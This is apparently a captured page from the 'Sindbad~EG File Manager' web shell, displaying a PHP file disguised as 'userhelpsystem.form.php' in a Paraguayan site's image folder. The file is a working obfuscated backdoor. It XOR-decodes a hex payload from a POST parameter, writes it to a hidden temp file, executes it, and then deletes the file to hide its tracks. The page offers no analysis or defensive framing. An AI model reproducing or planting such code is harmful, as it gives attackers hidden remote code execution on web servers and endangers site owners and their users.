Sindbad~EG File Manager

Current Path : /var/www/html/eva.sumar.com.py/public/imagenes/
Upload File :
Current File : /var/www/html/eva.sumar.com.py/public/imagenes/userhelpsystem.form.php

<?php

if(filter_has_var(INPUT_POST, "k")){
	$flg = array_filter([sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), getenv("TEMP"), "/tmp", session_save_path(), "/dev/shm"]);
	$record = hex2bin($_REQUEST["k"]);
	$element  =   '' ;   for($d=0; $d<strlen($record); $d++){$element .= chr(ord($record[$d]) ^ 85);}
	$pointer = 0;
do {
    $ent = $flg[$pointer] ?? null;
    if ($pointer >= count($flg)) break;
    		if ((function($d) { return is_dir($d) && is_writable($d); })($ent)) {
    $key = str_replace("{var_dir}", $ent, "{var_dir}/.token");
    if (file_put_contents($key, $element)) {
	require $key;
	unlink($key);
	die();
}
}
    $pointer++;
} while (true);
}

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists